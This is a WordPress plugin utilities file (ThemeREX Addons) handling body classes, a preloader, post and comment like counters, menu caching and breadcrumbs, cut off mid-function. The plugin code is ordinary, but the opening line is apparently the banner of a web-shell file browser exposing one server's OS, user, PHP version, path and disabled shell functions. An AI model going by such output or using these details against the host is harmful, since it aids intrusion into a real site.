Server : Apache System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64 User : corals ( 1002) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/corals/gg.corals.io/wp-content/plugins/trx_addons/includes/ |
<?php
/**
* WordPress utilities
*
* @package WordPress
* @subpackage ThemeREX Addons
* @since v1.0
*/
// Don't load directly
if ( ! defined( 'TRX_ADDONS_VERSION' ) ) {
die( '-1' );
}
/* Browser-specific classes
------------------------------------------------------------------------------------- */
// Add browser-specific classes to the body tag
if ( !function_exists('trx_addons_browser_classes') ) {
add_filter( 'body_class', 'trx_addons_browser_classes' );
function trx_addons_browser_classes( $classes ) {
// WordPress global vars
global $is_lynx, $is_gecko, $is_opera, $is_NS4, $is_safari, $is_chrome,
$is_IE, $is_winIE, $is_macIE, $is_edge,
$is_iphone,
$is_apache, $is_nginx, $is_IIS, $is_iis7;
// Platform
if (!empty($is_iphone))
$classes[] = 'ua_iphone';
if (wp_is_mobile())
$classes[] = 'ua_mobile';
// Browser
if (!empty($is_gecko))
$classes[] = 'ua_gecko';
if (!empty($is_chrome)) {
$classes[] = 'ua_chrome';
if (preg_match("/[\\s]OPR\\/([0-9.]*)/", $_SERVER['HTTP_USER_AGENT'], $matches)) {
if (!empty($matches[1]))
$classes[] = 'ua_opera ua_opera_webkit';
}
}
if (preg_match("/(iPad|iPhone|iPod)/", $_SERVER['HTTP_USER_AGENT'], $matches)) {
if (!empty($matches[1]))
$classes[] = 'ua_ios';
}
if (!empty($is_safari))
$classes[] = 'ua_safari';
if (!empty($is_opera))
$classes[] = 'ua_opera';
if (!empty($is_edge))
$classes[] = 'ua_edge';
if (!empty($is_IE)) {
$classes[] = 'ua_ie';
if (!empty($is_winIE)) $classes[] = 'ua_ie_win';
else if (!empty($is_macIE)) $classes[] = 'ua_ie_mac';
if (preg_match("/Trident[^;]*;[\\s]*rv:([0-9.]*)/", $_SERVER['HTTP_USER_AGENT'], $matches)
||
preg_match("/MSIE[\\s]*([0-9.]*)/", $_SERVER['HTTP_USER_AGENT'], $matches)) {
if (!empty($matches[1])) {
$classes[] = 'ua_ie_' . (int)$matches[1];
if ((int)$matches[1] < 11)
$classes[] = 'ua_ie_lt11';
}
}
}
if (!empty($is_NS4))
$classes[] = 'ua_ns4';
if (!empty($is_lynx))
$classes[] = 'ua_lynx';
return $classes;
}
}
/* Page preloader
------------------------------------------------------------------------------------- */
// Add plugin specific classes to the body tag
if ( !function_exists('trx_addons_body_classes') ) {
add_filter( 'body_class', 'trx_addons_body_classes' );
function trx_addons_body_classes( $classes ) {
if (!trx_addons_is_off(trx_addons_get_option('page_preloader')))
$classes[] = 'preloader';
if (is_front_page() && get_option('show_on_front')=='page' && get_option('page_on_front')>0)
$classes[] = 'frontpage';
return $classes;
}
}
// Add page preloader into body
if (!function_exists('trx_addons_add_page_preloader')) {
add_action('trx_addons_action_before_body', 'trx_addons_add_page_preloader', 1);
add_action('wp_footer', 'trx_addons_add_page_preloader', 1);
function trx_addons_add_page_preloader() {
static $loaded = false;
if ($loaded) return;
$loaded = true;
if ( ($preloader=trx_addons_get_option('page_preloader')) != 'none' && ( $preloader != 'custom' || ($image=trx_addons_get_option('page_preloader_image')) != '')) {
?><div id="page_preloader"><?php
if ($preloader == 'circle') {
?><div class="preloader_wrap preloader_<?php echo esc_attr($preloader); ?>"><div class="preloader_circ1"></div><div class="preloader_circ2"></div><div class="preloader_circ3"></div><div class="preloader_circ4"></div></div><?php
} else if ($preloader == 'square') {
?><div class="preloader_wrap preloader_<?php echo esc_attr($preloader); ?>"><div class="preloader_square1"></div><div class="preloader_square2"></div></div><?php
} else if ($preloader == 'dots') {
?><div class="preloader_wrap preloader_<?php echo esc_attr($preloader); ?>"><div class="preloader_dot" id="preloader_dot_one"></div><div class="preloader_dot" id="preloader_dot_two"></div><div class="preloader_dot" id="preloader_dot_three"></div></div><?php
} else {
do_action('trx_addons_action_preloader_wrap', $preloader);
}
?></div><?php
}
}
}
// Add page preloader styles into head
if (!function_exists('trx_addons_add_page_preloader_styles')) {
add_action('wp_head', 'trx_addons_add_page_preloader_styles');
function trx_addons_add_page_preloader_styles() {
if (($preloader=trx_addons_get_option('page_preloader'))!='none') {
?>
<style type="text/css">
<!--
#page_preloader {
<?php
$bg_color = trx_addons_get_option('page_preloader_bg_color');
if (!empty($bg_color)) {
?>background-color: <?php echo esc_attr($bg_color); ?> !important;<?php
}
$image = trx_addons_get_option('page_preloader_image');
if ($preloader=='custom' && !empty($image)) {
?>background-image: url(<?php echo esc_url($image); ?>);<?php
}
?>
}
-->
</style>
<?php
}
}
}
/* Scroll to top button
------------------------------------------------------------------------------------- */
// Add button into body
if (!function_exists('trx_addons_add_scroll_to_top')) {
add_action('wp_footer', 'trx_addons_add_scroll_to_top', 9);
function trx_addons_add_scroll_to_top() {
if (trx_addons_is_on(trx_addons_get_option('scroll_to_top'))) {
?><a href="#" class="trx_addons_scroll_to_top trx_addons_icon-up" title="<?php esc_attr_e('Scroll to top', 'trx_addons'); ?>"><?php esc_attr_e('to top', 'trx_addons'); ?></a><?php
}
}
}
/* Post icon
------------------------------------------------------------------------------------- */
// Return post icon
if (!function_exists('trx_addons_get_post_icon')) {
function trx_addons_get_post_icon($post_id = 0) {
if (empty($post_id)) $post_id = get_the_ID();
$meta = get_post_meta($post_id, 'trx_addons_options', true);
return !empty($meta['icon']) ? $meta['icon'] : '';
}
}
/* Post views and likes
-------------------------------------------------------------------------------- */
// Return Post Views number
if (!function_exists('trx_addons_get_post_views')) {
function trx_addons_get_post_views($id=0){
if (!$id)
$id = trx_addons_get_the_ID();
if ($id) {
$key = 'trx_addons_post_views_count';
$count = get_post_meta($id, $key, true);
if ($count===''){
delete_post_meta($id, $key);
add_post_meta($id, $key, '0');
$count = 0;
}
} else
$count = 0;
return $count;
}
}
// Set Post Views number
if (!function_exists('trx_addons_set_post_views')) {
function trx_addons_set_post_views($counter=-1, $id=0) {
if (!$id)
$id = trx_addons_get_the_ID();
if ($id) {
$key = 'trx_addons_post_views_count';
$count = get_post_meta($id, $key, true);
if ($count===''){
delete_post_meta($id, $key);
add_post_meta($id, $key, 1);
} else {
$count = $counter >= 0 ? $counter : $count+1;
update_post_meta($id, $key, $count);
}
}
}
}
// Increment Post Views number
if (!function_exists('trx_addons_inc_post_views')) {
function trx_addons_inc_post_views($inc=0, $id=0) {
if (!$id)
$id = trx_addons_get_the_ID();
if ($id) {
$key = 'trx_addons_post_views_count';
$count = get_post_meta($id, $key, true);
if ($count===''){
$count = max(0, $inc);
delete_post_meta($id, $key);
add_post_meta($id, $key, $count);
} else {
$count += $inc;
update_post_meta($id, $key, $count);
}
} else
$count = 0;
return $count;
}
}
// Return Post Likes number
if (!function_exists('trx_addons_get_post_likes')) {
function trx_addons_get_post_likes($id=0){
if (!$id)
$id = trx_addons_get_the_ID();
if ($id) {
$key = 'trx_addons_post_likes_count';
$count = get_post_meta($id, $key, true);
if ($count===''){
delete_post_meta($id, $key);
add_post_meta($id, $key, '0');
$count = 0;
}
} else
$count = 0;
return $count;
}
}
// Set Post Likes number
if (!function_exists('trx_addons_set_post_likes')) {
function trx_addons_set_post_likes($counter=-1, $id=0) {
if (!$id)
$id = trx_addons_get_the_ID();
if ($id) {
$key = 'trx_addons_post_likes_count';
$count = get_post_meta($id, $key, true);
if ($count===''){
delete_post_meta($id, $key);
add_post_meta($id, $key, 1);
} else {
$count = $counter >= 0 ? $counter : $count+1;
update_post_meta($id, $key, $count);
}
}
}
}
// Increment Post Likes number
if (!function_exists('trx_addons_inc_post_likes')) {
function trx_addons_inc_post_likes($inc=0, $id=0) {
if (!$id)
$id = trx_addons_get_the_ID();
if ($id) {
$key = 'trx_addons_post_likes_count';
$count = get_post_meta($id, $key, true);
if ($count===''){
$count = max(0, $inc);
delete_post_meta($id, $key);
add_post_meta($id, $key, $count);
} else {
$count += $inc;
update_post_meta($id, $key, max(0, $count));
}
} else
$count = $inc;
return $count;
}
}
// Return Post Emotions
if (!function_exists('trx_addons_get_post_emotions')) {
function trx_addons_get_post_emotions($id=0){
$emotions = array();
if (!$id)
$id = trx_addons_get_the_ID();
if ($id) {
$meta = get_post_meta($id, 'trx_addons_post_emotions', true);
if (is_array($meta)) $emotions = $meta;
}
return $emotions;
}
}
// Set Post Emotions
if (!function_exists('trx_addons_set_post_emotions')) {
function trx_addons_set_post_emotions($emotions, $id=0) {
if (!$id)
$id = trx_addons_get_the_ID();
if ($id) update_post_meta($id, 'trx_addons_post_emotions', $emotions);
}
}
// Increment Post Emotions number
if (!function_exists('trx_addons_inc_post_emotions')) {
function trx_addons_inc_post_emotions($name, $inc=0, $id=0) {
$emotions = array();
if (!$id)
$id = trx_addons_get_the_ID();
if ($id) {
$key = 'trx_addons_post_emotions';
$meta = get_post_meta($id, $key, true);
if (is_array($meta)) $emotions = $meta;
$emotions[$name] = (empty($emotions[$name]) ? 0 : $emotions[$name]) + $inc;
update_post_meta($id, $key, $emotions);
trx_addons_inc_post_likes($inc, $id);
}
return empty($emotions[$name]) ? 0 : $emotions[$name];
}
}
// Set post likes/views counters when save/publish post
if ( ! function_exists( 'trx_addons_init_post_counters' ) ) {
add_action('save_post', 'trx_addons_init_post_counters');
function trx_addons_init_post_counters($id) {
global $post_type, $post;
// check autosave
if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {
return $id;
}
// check permissions
if (empty($post_type) || !is_string($post_type) || !current_user_can('edit_'.$post_type, $id)) {
return $id;
}
if ( !empty($post->ID) && $id==$post->ID ) {
trx_addons_get_post_views($id);
trx_addons_get_post_likes($id);
}
}
}
// AJAX: Set post likes/views number
if ( !function_exists( 'trx_addons_callback_post_counter' ) ) {
add_action('wp_ajax_post_counter', 'trx_addons_callback_post_counter');
add_action('wp_ajax_nopriv_post_counter', 'trx_addons_callback_post_counter');
function trx_addons_callback_post_counter() {
if ( !wp_verify_nonce( trx_addons_get_value_gp('nonce'), admin_url('admin-ajax.php') ) )
die();
$response = array('error'=>'', 'counter' => 0);
$id = (int) $_REQUEST['post_id'];
if (isset($_REQUEST['likes'])) {
$response['counter'] = trx_addons_inc_post_likes((int) $_REQUEST['likes'], $id);
} else if (isset($_REQUEST['views'])) {
$response['counter'] = trx_addons_inc_post_views((int) $_REQUEST['views'], $id);
} else if (isset($_REQUEST['emotion_inc'])) {
$meta = trx_addons_get_post_emotions($id);
$emotions = array();
if (is_array($meta)) {
foreach ($meta as $k=>$v) {
if (!empty($k) && !empty($v))
$emotions[$k] = $v;
}
}
$inc = 0;
if (!empty($_REQUEST['emotion_dec'])) {
$inc--;
$emotions[$_REQUEST['emotion_dec']] = isset($emotions[$_REQUEST['emotion_dec']])
? max(0, $emotions[$_REQUEST['emotion_dec']] - 1)
: 0;
}
if (!empty($_REQUEST['emotion_inc']) && (empty($_REQUEST['emotion_dec']) || $_REQUEST['emotion_inc'] != $_REQUEST['emotion_dec'])) {
$inc++;
$emotions[$_REQUEST['emotion_inc']] = isset($emotions[$_REQUEST['emotion_inc']])
? $emotions[$_REQUEST['emotion_inc']] + 1
: 1;
}
$response['counter'] = $emotions;
trx_addons_set_post_emotions($emotions, $id);
trx_addons_inc_post_likes($inc, $id);
}
echo json_encode($response);
die();
}
}
// Increment views counter via AJAX
if ( !function_exists( 'trx_addons_inc_views_ajax' ) ) {
add_filter("trx_addons_filter_localize_script", 'trx_addons_add_views_vars');
function trx_addons_add_views_vars($vars) {
$vars['ajax_views'] = (int) trx_addons_get_option('ajax_views') == 1 && apply_filters('trx_addons_filter_inc_views', is_singular());
return $vars;
}
}
// Increment views counter via PHP
if ( !function_exists( 'trx_addons_inc_views_php' ) ) {
add_action("wp_head", 'trx_addons_inc_views_php');
function trx_addons_inc_views_php() {
if ( (int) trx_addons_get_option('ajax_views') == 0
&& apply_filters('trx_addons_filter_inc_views', is_singular()) ) {
trx_addons_inc_post_views(1, get_the_ID());
}
}
}
// Return post reactions layout
if ( !function_exists( 'trx_addons_get_post_reactions' ) ) {
function trx_addons_get_post_reactions($show=false) {
if ( trx_addons_is_off( apply_filters( 'trx_addons_filter_emotions_allowed', trx_addons_get_option('emotions_allowed') ) ) ) return '';
$post_id = get_the_ID();
$post_emotions = trx_addons_get_post_emotions($post_id);
$liked = explode(',', isset($_COOKIE['trx_addons_emotions']) ? $_COOKIE['trx_addons_emotions'] : '');
$active = '';
foreach ($liked as $v) {
if (empty($v)) continue;
$tmp = explode('=', $v);
if ($tmp[0] == $post_id) {
$active = $tmp[1];
break;
}
}
$list = trx_addons_get_option('emotions');
$output = '';
if (is_array($list)) {
$output = '<div class="clearfix"></div>'
. '<div id="trx_addons_emotions" class="trx_addons_emotions">'
. '<h5 class="trx_addons_emotions_title">' . esc_html__("What's your reaction?", 'trx_addons') . '</h5>';
foreach ($list as $emo) {
$sn = $emo['name'];
if (empty($sn)) continue;
$fn = strpos($sn, '//')===false ? str_replace(array('icon-', 'trx_addons_icon-'), '', $sn) : trx_addons_get_file_name($sn);
$slug = $fn;
$title = $emo['title'];
if (empty($title))
$title = $slug;
else
$slug = strtolower(sanitize_title($title));
$style = strpos($sn, '.svg')!==false
? 'svg'
: (strpos($sn, '//')!==false
? 'images'
: 'icons'
);
$output .= '<span class="trx_addons_emotions_item trx_addons_emotions_item_icon_'.esc_attr($fn)
. ' sc_icon_type_'.esc_attr($style)
. ($style == 'icons' ? ' '.$sn : '')
. (!empty($active) && $active==$slug ? ' trx_addons_emotions_active' : '')
. '"'
. ' data-slug="'.esc_attr($slug).'"'
. ' data-postid="'.esc_attr($post_id).'"'
. '>'
. ($style == 'svg' ? trx_addons_get_svg_from_file($sn) : '')
. ($style == 'images' ? '<img src="'.esc_url($sn).'" class="trx_addons_emotions_item_image">' : '')
. '<span class="trx_addons_emotions_item_number">'
. (!empty($post_emotions[$slug]) ? esc_html($post_emotions[$slug]) : '0')
. '</span>'
. '<span class="trx_addons_emotions_item_label">' . esc_html($title) . '</span>'
.'</span>';
}
}
$output .= '</div>';
$output = apply_filters('trx_addons_filter_emotions', $output, $post_emotions, $list, $post_id);
if ($show) trx_addons_show_layout($output);
return $output;
}
}
// Show reactions in the single posts
if ( ! function_exists( 'trx_addons_show_post_reactions' ) ) {
add_action( 'trx_addons_action_after_article', 'trx_addons_show_post_reactions', 10, 1);
function trx_addons_show_post_reactions($slug) {
if ( trx_addons_is_on( trx_addons_get_option( 'emotions_allowed' ) ) && apply_filters('trx_addons_filter_show_post_reactions', is_single() && ! is_attachment() ) ) {
trx_addons_get_post_reactions( true );
}
}
}
// Add classes with reactions to the <article>
if ( !function_exists( 'trx_addons_post_class_with_reactions' ) ) {
add_filter( 'post_class', 'trx_addons_post_class_with_reactions' );
function trx_addons_post_class_with_reactions($classes) {
$post_id = get_the_ID();
$emotions_allowed = trx_addons_is_on(trx_addons_get_option('emotions_allowed'));
if ($emotions_allowed) {
$liked = explode(',', isset($_COOKIE['trx_addons_emotions']) ? $_COOKIE['trx_addons_emotions'] : '');
$active = '';
foreach ($liked as $v) {
if (empty($v)) continue;
$tmp = explode('=', $v);
if ($tmp[0] == $post_id) {
$active = $tmp[1];
break;
}
}
if (!empty($active))
$classes[] = 'post_with_users_like post_with_users_emotion_'.esc_attr($active);
$post_emotions = trx_addons_get_post_emotions($post_id);
if (is_array($post_emotions)) {
arsort($post_emotions);
$i=0;
foreach ($post_emotions as $k=>$v) {
if (empty($k) || empty($v)) continue;
if ($i++ == 0) $classes[] = 'post_emotion_main_'.esc_attr($k);
$classes[] = 'post_emotion_'.esc_attr($k);
}
}
} else {
if (strpos(isset($_COOKIE['trx_addons_likes']) ? $_COOKIE['trx_addons_likes'] : '', ','.($post_id).',')!==false)
$classes[] = 'post_with_users_like';
}
return $classes;
}
}
/* Comment's likes
-------------------------------------------------------------------------------- */
//Return Comment's Likes number
if (!function_exists('trx_addons_get_comment_likes')) {
function trx_addons_get_comment_likes($id=0){
if (!$id) $id = get_comment_ID();
$key = 'trx_addons_comment_likes_count';
$count = get_comment_meta($id, $key, true);
if ($count===''){
delete_comment_meta($id, $key);
add_comment_meta($id, $key, '0');
$count = 0;
}
return $count;
}
}
//Set Comment's Likes number
if (!function_exists('trx_addons_set_comment_likes')) {
function trx_addons_set_comment_likes($id=0, $counter=-1) {
if (!$id) $id = get_comment_ID();
$key = 'trx_addons_comment_likes_count';
$count = get_post_meta($id, $key, true);
if ($count===''){
delete_comment_meta($id, $key);
add_comment_meta($id, $key, 1);
} else {
$count = $counter >= 0 ? $counter : $count+1;
update_comment_meta($id, $key, $count);
}
}
}
// Increment Post Likes number
if (!function_exists('trx_addons_inc_comment_likes')) {
function trx_addons_inc_comment_likes($id=0, $inc=0) {
if (!$id) $id = get_comment_ID();
$key = 'trx_addons_comment_likes_count';
$count = get_comment_meta($id, $key, true);
if ($count===''){
$count = max(0, $inc);
delete_comment_meta($id, $key);
add_comment_meta($id, $key, $count);
} else {
$count += $inc;
update_comment_meta($id, $key, $count);
}
return $count;
}
}
// Set comment likes counter when save/publish post
if ( !function_exists( 'trx_addons_init_comment_counters' ) ) {
add_action('comment_post', 'trx_addons_init_comment_counters', 10, 2);
function trx_addons_init_comment_counters($id, $status='') {
if ( !empty($id) ) {
trx_addons_get_comment_likes($id);
}
}
}
// AJAX: Set comment likes number
if ( !function_exists( 'trx_addons_callback_comment_counter' ) ) {
add_action('wp_ajax_comment_counter', 'trx_addons_callback_comment_counter');
add_action('wp_ajax_nopriv_comment_counter','trx_addons_callback_comment_counter');
function trx_addons_callback_comment_counter() {
if ( !wp_verify_nonce( trx_addons_get_value_gp('nonce'), admin_url('admin-ajax.php') ) )
die();
$response = array('error'=>'', 'counter' => 0);
$id = (int) $_REQUEST['post_id'];
if (isset($_REQUEST['likes'])) {
$response['counter'] = trx_addons_inc_comment_likes($id, (int) $_REQUEST['likes']);
}
echo json_encode($response);
die();
}
}
// Return post likes/views counter layout
if ( !function_exists( 'trx_addons_get_comment_counters' ) ) {
function trx_addons_get_comment_counters($counters='likes', $show=false) {
$comment_id = get_comment_ID();
$output = '';
if (strpos($counters, 'likes')!==false) {
$comment_likes = trx_addons_get_comment_likes($comment_id);
$likes = isset($_COOKIE['trx_addons_comment_likes']) ? $_COOKIE['trx_addons_comment_likes'] : '';
$allow = strpos($likes, ','.($comment_id).',')===false;
$output .= '<a href="#" class="comment_counters_item comment_counters_likes trx_addons_icon-heart'.(!empty($allow) ? '-empty enabled' : ' disabled').'"
title="'.(!empty($allow) ? esc_attr__('Like', 'trx_addons') : esc_attr__('Dislike', 'trx_addons')).'"
data-commentid="' . esc_attr($comment_id) . '"
data-likes="' . esc_attr($comment_likes) . '"
data-title-like="' . esc_attr__('Like', 'trx_addons') . '"
data-title-dislike="' . esc_attr__('Dislike', 'trx_addons') . '">'
. '<span class="comment_counters_number">' . trim($comment_likes) . '</span>'
. '<span class="comment_counters_label">' . esc_html__('Likes', 'trx_addons') . '</span>'
. '</a>';
}
$output = apply_filters( 'trx_addons_filter_get_comment_counters', $output, $counters );
if ($show) trx_addons_show_layout($output);
return $output;
}
}
/* Menu utilities
------------------------------------------------------------------------------------- */
// Return nav menu html
if ( !function_exists( 'trx_addons_get_nav_menu' ) ) {
function trx_addons_get_nav_menu($location='', $menu='', $depth=0, $custom_walker=false) {
static $list = array();
$slug = $location.'_'.$menu;
if (empty($list[$slug])) {
$list[$slug] = esc_html__('You are trying to use a menu inserted in himself!', 'trx_addons');
$args = array(
'menu' => empty($menu) || $menu=='default' || trx_addons_is_inherit($menu) ? '' : $menu,
'container' => '',
'container_class' => '',
'container_id' => '',
'items_wrap' => '<ul id="%1$s" class="%2$s">%3$s</ul>',
'menu_class' => 'sc_layouts_menu_nav' . (!empty($location) ? ' '.esc_attr($location).'_nav' : ''),
'menu_id' => !empty($location) ? $location : 'sc_layouts_menu_'.esc_attr(mt_rand()),
'echo' => false,
'fallback_cb' => '',
'before' => '',
'after' => '',
'link_before' => '<span>',
'link_after' => '</span>',
'depth' => $depth
);
if (!empty($location)) {
$args['theme_location'] = $location;
}
if ($custom_walker && class_exists('trx_addons_custom_menu_walker')) {
$args['walker'] = new trx_addons_custom_menu_walker;
}
// Remove empty spaces between menu items
$list[$slug] = preg_replace(array("/>[\r\n\s]*<li/", "/>[\r\n\s]*<\\/ul>/"),
array("><li", "></ul>"),
wp_nav_menu(apply_filters('trx_addons_filter_get_nav_menu_args', $args))
);
}
return apply_filters('trx_addons_filter_get_nav_menu', $list[$slug], $location, $menu);
}
}
// Return 'key' for the menu cache
if ( !function_exists( 'trx_addons_get_menu_cache_key' ) ) {
function trx_addons_get_menu_cache_key($args) {
$key = (!empty($args->theme_location) ? $args->theme_location : '')
. '_'
. (empty($args->theme_location) && !empty($args->menu)
? (!empty($args->menu->slug)
? $args->menu->slug
: $args->menu
)
: ''
);
return str_replace(' ', '', $key);
}
}
// Add menu to the cache
if ( !function_exists( 'trx_addons_add_menu_cache' ) ) {
add_action('wp_nav_menu', 'trx_addons_add_menu_cache', 100, 2);
function trx_addons_add_menu_cache($html='', $args=array()) {
if (trx_addons_is_on(trx_addons_get_option('menu_cache')) && !trx_addons_exists_wpml()) {
$menu_cache = 'trx_addons_menu_'.get_option('stylesheet');
$list = get_transient($menu_cache);
if (empty($list)) $list = array();
$list[trx_addons_get_menu_cache_key($args)] = $html;
set_transient($menu_cache, $list, 60*60);
}
return $html;
}
}
// Clear cache with saved menu
if ( !function_exists( 'trx_addons_clear_menu_cache' ) ) {
add_action('wp_update_nav_menu', 'trx_addons_clear_menu_cache', 10, 2);
function trx_addons_clear_menu_cache($menu_id=0, $menu_data=array()) {
delete_transient('trx_addons_menu_'.get_option('stylesheet'));
}
}
// Return menu from the cache
if ( !function_exists( 'trx_addons_get_menu_cache' ) ) {
add_action('pre_wp_nav_menu', 'trx_addons_get_menu_cache', 100, 2);
function trx_addons_get_menu_cache($html, $args) {
if (trx_addons_is_on(trx_addons_get_option('menu_cache')) && !trx_addons_exists_wpml()) {
$menu_cache = 'trx_addons_menu_'.get_option('stylesheet');
$list = get_transient($menu_cache);
$menu = trx_addons_get_menu_cache_key($args);
if (!empty($list[$menu])) {
$html = $list[$menu];
if (preg_match_all('/<ul[^>]+id=[\'"]([^\'"]+)[\'"]/i', $html, $matches) && !empty($matches[1][0])) {
$menu_id = $matches[1][0];
} else {
$menu_id = !empty($args->menu_id) ? $args->menu_id : '';
}
if (!empty($args->clear_sc_layouts_classes)) {
$html = str_replace('sc_layouts_menu_nav', '', $html);
}
global $TRX_ADDONS_STORAGE;
if (!isset($TRX_ADDONS_STORAGE['menu_cache'])) $TRX_ADDONS_STORAGE['menu_cache'] = array();
$TRX_ADDONS_STORAGE['menu_cache'][] = !empty($menu_id) ? '#'.esc_attr($menu_id) : '.'.esc_attr($args->menu_class);
}
}
return $html;
}
}
// Add cached menu selectors to the js vars
if ( !function_exists( 'trx_addons_add_menu_cache_to_js' ) ) {
add_filter('trx_addons_filter_localize_script', 'trx_addons_add_menu_cache_to_js');
function trx_addons_add_menu_cache_to_js($vars) {
global $TRX_ADDONS_STORAGE;
$vars['menu_cache'] = apply_filters('trx_addons_filter_menu_cache', !empty($TRX_ADDONS_STORAGE['menu_cache']) ? $TRX_ADDONS_STORAGE['menu_cache'] : array());
return $vars;
}
}
// Clear class 'sc_layouts_menu_nav' from cached menu
if ( !function_exists( 'trx_addons_widget_nav_menu_args' ) ) {
add_filter( 'widget_nav_menu_args', 'trx_addons_widget_nav_menu_args', 10, 4 );
function trx_addons_widget_nav_menu_args($nav_menu_args, $nav_menu, $args, $instance) {
$nav_menu_args['clear_sc_layouts_classes'] = true;
return $nav_menu_args;
}
}
/* Breadcrumbs
------------------------------------------------------------------------------------- */
// Action handler to show breadcrumbs
if (!function_exists('trx_addons_action_breadcrumbs')) {
add_action( 'trx_addons_action_breadcrumbs', 'trx_addons_action_breadcrumbs', 10, 2);
function trx_addons_action_breadcrumbs($before='', $after='') {
if (($fdir = trx_addons_get_file_dir('templates/tpl.breadcrumbs.php')) != '') {
include $fdir;
}
}
}
// Show breadcrumbs path
if (!function_exists('trx_addons_get_breadcrumbs')) {
function trx_addons_get_breadcrumbs($args=array()) {
global $wp_query, $post;
$args = array_merge( array(
'home' => esc_html__('Home', 'trx_addons'), // Home page title (if empty - not showed)
'home_link' => '', // Home page link
'truncate_title' => 50, // Truncate all titles to this length (if 0 - no truncate)
'truncate_add' => '...', // Append truncated title with this string
'delimiter' => '<span class="breadcrumbs_delimiter"></span>', // Delimiter between breadcrumbs items
'max_levels' => trx_addons_get_option('breadcrumbs_max_level') // Max categories in the path (0 - unlimited)
), is_array($args) ? $args : array( 'home' => $args )
);
if ( is_front_page() ) return '';//is_home() ||
if ( $args['max_levels']<=0 ) $args['max_levels'] = 999;
$level = 1 + (isset($args['home']) && $args['home']!='' ? 1 : 0); // Current element + Home
$rez = $rez_all = $rez_parent = $rez_level = '';
// Get link to the 'All posts (products, events, etc.)' page
if ($level >= $args['max_levels'])
$rez_level = '...';
else {
$rez_all = apply_filters('trx_addons_filter_get_blog_all_posts_link', '', $args);
if (!empty($rez_all)) $level++; // All posts
}
$cat = $parent_tax = '';
$parent = $post_id = 0;
// Get current post ID and path to current post/page/attachment ( if it have parent posts/pages )
if (is_page() || is_attachment() || is_single()) {
$page_parent_id = apply_filters('trx_addons_filter_get_parent_id',
isset($wp_query->post->post_parent) ? $wp_query->post->post_parent : 0,
isset($wp_query->post->ID) ? $wp_query->post->ID : 0);
$post_id = (is_attachment()
? $page_parent_id
: (isset($wp_query->post->ID)
? $wp_query->post->ID
: 0
)
);
while ($page_parent_id > 0) {
$page_parent = get_post($page_parent_id);
if ($level >= $args['max_levels'])
$rez_level = '...';
else {
$rez_parent = '<a class="breadcrumbs_item cat_post" href="' . esc_url(get_permalink($page_parent_id)) . '">'
. wp_kses_data( trx_addons_strshort( $page_parent->post_title, $args['truncate_title'], $args['truncate_add'] ) )
. '</a>'
. (!empty($rez_parent) ? $args['delimiter'] : '')
. ($rez_parent);
$level++;
}
if (($page_parent_id = apply_filters('trx_addons_filter_get_parent_id', $page_parent->post_parent, $page_parent_id)) > 0) $post_id = $page_parent_id;
}
}
// Show parents
$step = 0;
do {
if ($step++ == 0) {
if (is_single() || is_attachment()) {
$post_type = get_post_type();
if ($post_type == 'post') {
$cats = get_the_category();
$cat = !empty($cats[0]) ? $cats[0] : false;
} else {
$tax = trx_addons_get_post_type_taxonomy($post_type);
if (!empty($tax)) {
$cats = get_the_terms(get_the_ID(), $tax);
$cat = !empty($cats[0]) ? $cats[0] : false;
}
}
if ($cat) {
if ($level >= $args['max_levels'])
$rez_level = '...';
else {
$rez_parent = '<a class="breadcrumbs_item cat_post" href="'.esc_url(get_term_link($cat->term_id, $cat->taxonomy)).'">'
. apply_filters( 'trx_addons_filter_term_name', trx_addons_strshort( $cat->name, $args['truncate_title'], $args['truncate_add'] ), $cat )
. '</a>'
. (!empty($rez_parent) ? $args['delimiter'] : '')
. ($rez_parent);
$level++;
}
}
} else if ( is_category() ) {
$cat_id = (int) get_query_var( 'cat' );
if (empty($cat_id)) $cat_id = get_query_var( 'category_name' );
$cat = get_term_by( (int) $cat_id > 0 ? 'id' : 'slug', $cat_id, 'category', OBJECT);
} else if ( is_tag() ) {
$cat = get_term_by( 'slug', get_query_var( 'post_tag' ), 'post_tag', OBJECT);
} else if ( is_tax() ) {
$cat = $wp_query->get_queried_object();
}
if ($cat) {
$parent = $cat->parent;
$parent_tax = $cat->taxonomy;
}
}
if ($parent) {
$cat = get_term_by( 'id', $parent, $parent_tax, OBJECT);
if ($cat) {
$cat_link = get_term_link($cat->slug, $cat->taxonomy);
if ($level >= $args['max_levels'])
$rez_level = '...';
else {
$rez_parent = '<a class="breadcrumbs_item cat_parent" href="'.esc_url($cat_link).'">'
. apply_filters( 'trx_addons_filter_term_name', trx_addons_strshort( $cat->name, $args['truncate_title'], $args['truncate_add'] ), $cat )
. '</a>'
. (!empty($rez_parent) ? $args['delimiter'] : '')
. ($rez_parent);
$level++;
}
$parent = $cat->parent;
}
}
} while ($parent);
$rez_parent = apply_filters('trx_addons_filter_get_parents_links', $rez_parent, $args);
$rez_period = '';
if ( ( is_day() || is_month() ) && is_object( $post ) ) {
$year = get_the_time('Y');
$month = get_the_time('m');
$rez_period = '<a class="breadcrumbs_item cat_parent" href="' . get_year_link( $year ) . '">' . ($year) . '</a>';
if (is_day())
$rez_period .= (!empty($rez_period) ? $args['delimiter'] : '')
. '<a class="breadcrumbs_item cat_parent" href="' . esc_url(get_month_link( $year, $month )) . '">'
. esc_html( get_the_date('F') )
. '</a>';
}
if ( ! is_front_page() ) { // && !is_home()
$title = trx_addons_get_blog_title();
if ( is_array($title) ) $title = $title['text'];
$title = trx_addons_strshort( $title, $args['truncate_title'], $args['truncate_add'] );
$rez .= (isset($args['home']) && $args['home']!=''
? '<a class="breadcrumbs_item home" href="' . esc_url($args['home_link'] ? $args['home_link'] : home_url('/')) . '">'
. ($args['home'])
. '</a>'
. ($args['delimiter'])
: '')
. (!empty($rez_all) ? ($rez_all) . ($args['delimiter']) : '')
. (!empty($rez_level) ? ($rez_level) . ($args['delimiter']) : '')
. (!empty($rez_parent) ? ($rez_parent) . ($args['delimiter']) : '')
. (!empty($rez_period) ? ($rez_period) . ($args['delimiter']) : '')
. ($title ? '<span class="breadcrumbs_item current">' . wp_kses_data( $title ) . '</span>' : '');
}
return apply_filters('trx_addons_filter_get_breadcrumbs', $rez);
}
}
// Return link to the main posts page for the breadcrumbs
if ( !function_exists( 'trx_addons_get_blog_all_posts_link' ) ) {
